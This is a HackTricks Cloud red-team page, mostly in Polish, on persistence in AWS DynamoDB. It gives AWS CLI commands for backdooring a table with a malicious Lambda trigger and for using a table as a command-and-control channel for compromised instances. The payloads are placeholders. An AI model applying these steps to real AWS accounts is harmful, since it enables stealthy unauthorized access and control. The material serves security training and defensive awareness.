AWS - DynamoDB Persistence
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
DynamoDB
Aby uzyskać więcej informacji, zobacz:
DynamoDB Triggers with Lambda Backdoor
Używając DynamoDB triggers, attacker może stworzyć stealthy backdoor poprzez powiązanie złośliwej Lambda function z tabelą. Lambda function może zostać wywołana, gdy element zostanie dodany, zmodyfikowany lub usunięty, co pozwala attackerowi wykonać dowolny kod w obrębie konta AWS.
# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>
Aby utrzymać persistence, attacker może tworzyć lub modyfikować elementy w tabeli DynamoDB, co spowoduje uruchomienie złośliwej funkcji Lambda. To pozwala attackerowi execute code w ramach konta AWS bez bezpośredniej interakcji z funkcją Lambda.
DynamoDB as a C2 Channel
Attacker może użyć tabeli DynamoDB jako command and control (C2) channel przez tworzenie elementów zawierających polecenia i wykorzystanie skompromitowanych instances lub funkcji Lambda do fetch and execute tych poleceń.
# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>
# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>
Skompromitowane instancje lub funkcje Lambda mogą okresowo sprawdzać tabelę C2 w poszukiwaniu nowych poleceń, wykonywać je i opcjonalnie raportować wyniki z powrotem do tabeli. Pozwala to atakującemu utrzymać trwały dostęp i kontrolę nad skompromitowanymi zasobami.
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

